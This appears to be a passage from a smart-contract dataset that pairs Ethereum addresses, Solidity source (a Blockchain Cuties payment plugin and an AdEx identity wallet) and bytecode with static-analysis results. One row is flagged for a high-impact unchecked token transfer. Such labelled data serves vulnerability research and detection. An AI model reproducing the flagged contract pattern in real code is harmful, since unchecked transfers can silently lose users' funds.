fffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846128e1565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3836040518082815260200191505060405180910390a18373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdb57600080fd5b8060098190555050565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561107b5780601f106110505761010080835404028352916020019161107b565b820191906000526020600020905b81548152906001019060200180831161105e57829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d057600080fd5b8015600160146101000a81548160ff02191690831515021790555050565b60025481565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125557600080fd5b6112628585858585612902565b5050505050565b6000600160149054906101000a900460ff16151561128357fe5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561134e575081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156113875750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611618576113d5600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836128e1565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611461600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152a600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061161d565b600090505b9392505050565b600660009054906101000a900460ff1681565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116f35780601f106116c8576101008083540402835291602001916116f3565b820191906000526020600020905b8154815290600101906020018083116116d657829003601f168201915b505050505081565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175c57600080fd5b600954811015151561176d57600080fd5b80600a8190555050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156117d557600080fd5b6117e182600b54610d3e565b9050600c5481111515156117f457600080fd5b600a54421115801561180857506009544210155b151561181357600080fd5b61181f600c5482610da6565b600c819055508273ffffffffffffffffffffffffffffffffffffffff166323b872dd33600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561191e57600080fd5b505af1158015611932573d6000803e3d6000fd5b505050506040513d602081101561194857600080fd5b8101908080519060200190929190505050151561196457600080fd5b61196e3382610dc7565b7f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc2713382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c2157600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c5e57600080fd5b823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c9a57600080fd5b611ca6600254846128e1565b600281905550611cf5600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846128e1565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3836040518082815260200191505060405180910390a18373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e9157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611faa57600080fd5b80600b8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561206f5780601f106120445761010080835404028352916020019161206f565b820191906000526020600020905b81548152906001019060200180831161205257829003601f168201915b505050505081565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120f857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561219b57600080fd5b505af11580156121af573d6000803e3d6000fd5b505050506040513d60208110156121c557600080fd5b8101908080519060200190929190505050505050565b600b5481565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061226757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561227257600080fd5b6122bb600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610da6565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230a60025482610da6565b6002819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f9a1b418bc061a5d80270261562e6986a35d995f8051145f277be16103abd3453816040518082815260200191505060405180910390a15050565b6000600160149054906101000a900460ff1615156123ca57fe5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156124465750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125d157612494600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610da6565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612520600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836128e1565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506125d6565b600090505b92915050565b600160149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561264a57600080fd5b80600c8190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126d557600080fd5b6000600d60006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061273e8686868686612902565b505050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900460ff1681565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561284157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561289d57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101515156128f857600080fd5b8091505092915050565b600060095414151561291357600080fd5b8460098190555083600a8190555082600b8190555081600c8190555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f65b937d460c7c5cfeac1c37e5cbf1f4d6136747e3b2c9f1773d2d61cef193b5b600954600a54600b54600c5442604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a150505050505600a165627a7a72305820ccc0f7330f54a768e0bbf0fdc46db25384c2b5f3310dd42cac9fd3f6cc0122c30029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 9,939 |
0xaa4250216f77a79fd9983642a987f708f1fe7504 | pragma solidity ^0.4.20;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase
contract PluginInterface
{
/// @dev simply a boolean to indicate this is the contract we expect to be
function isPluginInterface() public pure returns (bool);
function onRemove() public;
/// @dev Begins new feature.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
/// @param _seller - Old owner, if not the message sender
function run(
uint40 _cutieId,
uint256 _parameter,
address _seller
)
public
payable;
/// @dev Begins new feature, approved and signed by COO.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address _owner
)
external
payable;
function withdraw() public;
}
contract CutieCoreInterface
{
function isCutieCore() pure public returns (bool);
function transferFrom(address _from, address _to, uint256 _cutieId) external;
function transfer(address _to, uint256 _cutieId) external;
function ownerOf(uint256 _cutieId)
external
view
returns (address owner);
function getCutie(uint40 _id)
external
view
returns (
uint256 genes,
uint40 birthTime,
uint40 cooldownEndTime,
uint40 momId,
uint40 dadId,
uint16 cooldownIndex,
uint16 generation
);
function getGenes(uint40 _id)
public
view
returns (
uint256 genes
);
function getCooldownEndTime(uint40 _id)
public
view
returns (
uint40 cooldownEndTime
);
function getCooldownIndex(uint40 _id)
public
view
returns (
uint16 cooldownIndex
);
function getGeneration(uint40 _id)
public
view
returns (
uint16 generation
);
function getOptional(uint40 _id)
public
view
returns (
uint64 optional
);
function changeGenes(
uint40 _cutieId,
uint256 _genes)
public;
function changeCooldownEndTime(
uint40 _cutieId,
uint40 _cooldownEndTime)
public;
function changeCooldownIndex(
uint40 _cutieId,
uint16 _cooldownIndex)
public;
function changeOptional(
uint40 _cutieId,
uint64 _optional)
public;
function changeGeneration(
uint40 _cutieId,
uint16 _generation)
public;
}
/// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase
contract CutiePluginBase is PluginInterface, Pausable
{
function isPluginInterface() public pure returns (bool)
{
return true;
}
// Reference to contract tracking NFT ownership
CutieCoreInterface public coreContract;
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint16 public ownerFee;
// @dev Throws if called by any account other than the owner.
modifier onlyCore() {
require(msg.sender == address(coreContract));
_;
}
/// @dev Constructor creates a reference to the NFT ownership contract
/// and verifies the owner cut is in the valid range.
/// @param _coreAddress - address of a deployed contract implementing
/// the Nonfungible Interface.
/// @param _fee - percent cut the owner takes on each auction, must be
/// between 0-10,000.
function setup(address _coreAddress, uint16 _fee) public {
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
CutieCoreInterface candidateContract = CutieCoreInterface(_coreAddress);
require(candidateContract.isCutieCore());
coreContract = candidateContract;
}
// @dev Set the owner's fee.
// @param fee should be between 0-10,000.
function setFee(uint16 _fee) public
{
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
}
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _cutieId - ID of token whose ownership to verify.
function _isOwner(address _claimant, uint40 _cutieId) internal view returns (bool) {
return (coreContract.ownerOf(_cutieId) == _claimant);
}
/// @dev Escrows the NFT, assigning ownership to this contract.
/// Throws if the escrow fails.
/// @param _owner - Current owner address of token to escrow.
/// @param _cutieId - ID of token whose approval to verify.
function _escrow(address _owner, uint40 _cutieId) internal {
// it will throw if transfer fails
coreContract.transferFrom(_owner, this, _cutieId);
}
/// @dev Transfers an NFT owned by this contract to another address.
/// Returns true if the transfer succeeds.
/// @param _receiver - Address to transfer NFT to.
/// @param _cutieId - ID of token to transfer.
function _transfer(address _receiver, uint40 _cutieId) internal {
// it will throw if transfer fails
coreContract.transfer(_receiver, _cutieId);
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function _computeFee(uint128 _price) internal view returns (uint128) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerFee <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerFee / 10000;
}
function withdraw() public
{
require(
msg.sender == owner ||
msg.sender == address(coreContract)
);
if (address(this).balance > 0)
{
address(coreContract).transfer(address(this).balance);
}
}
function onRemove() public onlyCore
{
withdraw();
}
}
/// @dev Receives payments for payd features from players for Blockchain Cuties
/// @author https://BlockChainArchitect.io
contract Bank is CutiePluginBase
{
function run(
uint40,
uint256,
address
)
public
payable
onlyCore
{
revert();
}
function runSigned(uint40, uint256, address)
external
payable
onlyCore
{
// just accept payments
}
} | 0x6060604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631195236981146100d45780633ccfd60b146100e95780633f4ba83a146100fc5780635c975abb1461010f5780638456cb59146101365780638da5cb5b146101495780638e0055531461017857806394a89233146101925780639652713e146101a5578063a055d455146101c6578063d5b2a01a146101e7578063e410a0c614610211578063e80db5db14610237578063f2fde38b1461024a575b600080fd5b34156100df57600080fd5b6100e7610269565b005b34156100f457600080fd5b6100e761028e565b341561010757600080fd5b6100e7610310565b341561011a57600080fd5b61012261038f565b604051901515815260200160405180910390f35b341561014157600080fd5b6100e761039f565b341561015457600080fd5b61015c610423565b604051600160a060020a03909116815260200160405180910390f35b341561018357600080fd5b6100e761ffff60043516610432565b341561019d57600080fd5b610122610493565b6100e764ffffffffff60043516602435600160a060020a0360443516610498565b6100e764ffffffffff60043516602435600160a060020a03604435166104b8565b34156101f257600080fd5b6101fa6104d3565b60405161ffff909116815260200160405180910390f35b341561021c57600080fd5b6100e7600160a060020a036004351661ffff602435166104e4565b341561024257600080fd5b61015c6105ea565b341561025557600080fd5b6100e7600160a060020a03600435166105f9565b60015433600160a060020a0390811691161461028457600080fd5b61028c61028e565b565b60005433600160a060020a03908116911614806102b9575060015433600160a060020a039081169116145b15156102c457600080fd5b600030600160a060020a031631111561028c57600154600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561028c57600080fd5b60005433600160a060020a0390811691161461032b57600080fd5b60005460a060020a900460ff16151561034357600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60005460a060020a900460ff1681565b60005433600160a060020a039081169116146103ba57600080fd5b60005460a060020a900460ff16156103d157600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031681565b61271061ffff8216111561044557600080fd5b60005433600160a060020a0390811691161461046057600080fd5b6001805461ffff90921660a060020a0275ffff000000000000000000000000000000000000000019909216919091179055565b600190565b60015433600160a060020a039081169116146104b357600080fd5b505050565b60015433600160a060020a039081169116146100cf57600080fd5b60015460a060020a900461ffff1681565b600061271061ffff831611156104f957600080fd5b60005433600160a060020a0390811691161461051457600080fd5b506001805475ffff0000000000000000000000000000000000000000191660a060020a61ffff84160217905581600160a060020a038116634d6a813a6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561059757600080fd5b5af115156105a457600080fd5b5050506040518051905015156105b957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555050565b600154600160a060020a031681565b60005433600160a060020a0390811691161461061457600080fd5b600160a060020a038116151561062957600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058207f9c65db02900529d27653b8b1123e2b073bd87ce8f789067af5b80f7c0ef5dc0029 | {"success": true, "error": null, "results": {}} | 9,940 |
0x90012067C3254Af79E19D3c08e6c28Ae5Af8dAEC | pragma solidity ^0.8.0;
// NOTE: this interface lacks return values for transfer/transferFrom/approve on purpose,
// as we use the SafeERC20 library to check the return value
interface GeneralERC20 {
function transfer(address to, uint256 amount) external;
function transferFrom(address from, address to, uint256 amount) external;
function approve(address spender, uint256 amount) external;
function balanceOf(address spender) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
}
library SafeERC20 {
function checkSuccess()
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
// check number of bytes returned from last function call
switch returndatasize()
// no bytes returned: assume success
case 0x0 {
returnValue := 1
}
// 32 bytes returned: check if non-zero
case 0x20 {
// copy 32 bytes into scratch space
returndatacopy(0x0, 0x0, 0x20)
// load those bytes into returnValue
returnValue := mload(0x0)
}
// not sure what was returned: don't mark as success
default { }
}
return returnValue != 0;
}
function transfer(address token, address to, uint256 amount) internal {
GeneralERC20(token).transfer(to, amount);
require(checkSuccess(), "SafeERC20: transfer failed");
}
function transferFrom(address token, address from, address to, uint256 amount) internal {
GeneralERC20(token).transferFrom(from, to, amount);
require(checkSuccess(), "SafeERC20: transferFrom failed");
}
function approve(address token, address spender, uint256 amount) internal {
GeneralERC20(token).approve(spender, amount);
require(checkSuccess(), "SafeERC20: approve failed");
}
}
library SignatureValidator {
enum SignatureMode {
NO_SIG,
EIP712,
GETH,
TREZOR,
ADEX
}
function recoverAddr(bytes32 hash, bytes32[3] memory signature) internal pure returns (address) {
SignatureMode mode = SignatureMode(uint8(signature[0][0]));
if (mode == SignatureMode.NO_SIG) {
return address(0x0);
}
uint8 v = uint8(signature[0][1]);
if (mode == SignatureMode.GETH) {
hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
} else if (mode == SignatureMode.TREZOR) {
hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n\x20", hash));
} else if (mode == SignatureMode.ADEX) {
hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n108By signing this message, you acknowledge signing an AdEx bid with the hash:\n", hash));
}
return ecrecover(hash, v, signature[1], signature[2]);
}
/// @dev Validates that a hash was signed by a specified signer.
/// @param hash Hash which was signed.
/// @param signer Address of the signer.
/// @param signature ECDSA signature along with the mode [{mode}{v}, {r}, {s}]
/// @return Returns whether signature is from a specified user.
function isValid(bytes32 hash, address signer, bytes32[3] memory signature) internal pure returns (bool) {
return recoverAddr(hash, signature) == signer;
}
/// @notice Recover the signer of hash, assuming it's an EOA account
/// @dev Only for EthSign signatures
/// @param hash Hash of message that was signed
/// @param signature Signature encoded as (bytes32 r, bytes32 s, uint8 v)
/// @return Returns an address of the user who signed
function recoverAddrBytes(bytes32 hash, bytes memory signature) internal pure returns (address) {
// only implements case 65: r,s,v signature (standard)
// see https://github.com/OpenZeppelin/openzeppelin-contracts/blob/d3c5bdf4def690228b08e0ac431437288a50e64a/contracts/utils/cryptography/ECDSA.sol#L32
require(signature.length == 65, "SignatureValidator: invalid signature length");
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
//
// Source OpenZeppelin
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/cryptography/ECDSA.sol
require(
uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"SignatureValidator: invalid signature 's' value"
);
require(v == 27 || v == 28, "SignatureValidator: invalid signature 'v' value");
hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
return ecrecover(hash, v, r, s);
}
}
contract Identity {
mapping (address => bool) public privileges;
// The next allowed nonce
uint public nonce = 0;
// Events
event LogPrivilegeChanged(address indexed addr, bool priv);
// Transaction structure
// Those can be executed by keys with >= PrivilegeLevel.Transactions
// Even though the contract cannot receive ETH, we are able to send ETH (.value), cause ETH might've been sent to the contract address before it's deployed
struct Transaction {
// replay protection
address identityContract;
// The nonce is also part of the replay protection, when signing Transaction objects we need to ensure they can be ran only once
// this means it doesn't apply to executeBySender
uint nonce;
// tx fee, in tokens
address feeTokenAddr;
uint feeAmount;
// all the regular txn data
address to;
uint value;
bytes data;
}
constructor(address[] memory addrs) {
uint len = addrs.length;
for (uint i=0; i<len; i++) {
privileges[addrs[i]] = true;
emit LogPrivilegeChanged(addrs[i], true);
}
}
// This contract can accept ETH without calldata
receive() external payable {}
// This contract can accept ETH with calldata
fallback() external payable {}
function setAddrPrivilege(address addr, bool priv)
external
{
require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL');
privileges[addr] = priv;
emit LogPrivilegeChanged(addr, priv);
}
function tipMiner(uint amount)
external
{
require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL');
// See https://docs.flashbots.net/flashbots-auction/searchers/advanced/coinbase-payment/#managing-payments-to-coinbaseaddress-when-it-is-a-contract
// generally this contract is reentrancy proof cause of the nonce
executeCall(block.coinbase, amount, new bytes(0));
}
function execute(Transaction[] memory txns, bytes32[3][] memory signatures)
public
{
require(txns.length > 0, 'MUST_PASS_TX');
address feeTokenAddr = txns[0].feeTokenAddr;
uint feeAmount = 0;
uint len = txns.length;
for (uint i=0; i<len; i++) {
Transaction memory txn = txns[i];
require(txn.identityContract == address(this), 'TRANSACTION_NOT_FOR_CONTRACT');
require(txn.feeTokenAddr == feeTokenAddr, 'EXECUTE_NEEDS_SINGLE_TOKEN');
require(txn.nonce == nonce, 'WRONG_NONCE');
// If we use the naive abi.encode(txn) and have a field of type `bytes`,
// there is a discrepancy between ethereumjs-abi and solidity
// if we enter every field individually, in order, there is no discrepancy
//bytes32 hash = keccak256(abi.encode(txn));
bytes32 hash = keccak256(abi.encode(txn.identityContract, txn.nonce, txn.feeTokenAddr, txn.feeAmount, txn.to, txn.value, txn.data));
address signer = SignatureValidator.recoverAddr(hash, signatures[i]);
require(privileges[signer] == true, 'INSUFFICIENT_PRIVILEGE_TRANSACTION');
// NOTE: we have to change nonce on every txn: do not be tempted to optimize this by incrementing it once by the full txn count
// otherwise reentrancies are possible, and/or anyone who is reading nonce within a txn will read a wrong value
nonce = nonce + 1;
feeAmount = feeAmount + txn.feeAmount;
executeCall(txn.to, txn.value, txn.data);
// The actual anti-bricking mechanism - do not allow a signer to drop his own priviledges
require(privileges[signer] == true, 'PRIVILEGE_NOT_DOWNGRADED');
}
if (feeAmount > 0) {
SafeERC20.transfer(feeTokenAddr, msg.sender, feeAmount);
}
}
function executeBySender(Transaction[] memory txns)
public
{
require(privileges[msg.sender] == true || msg.sender == address(this), 'INSUFFICIENT_PRIVILEGE_SENDER');
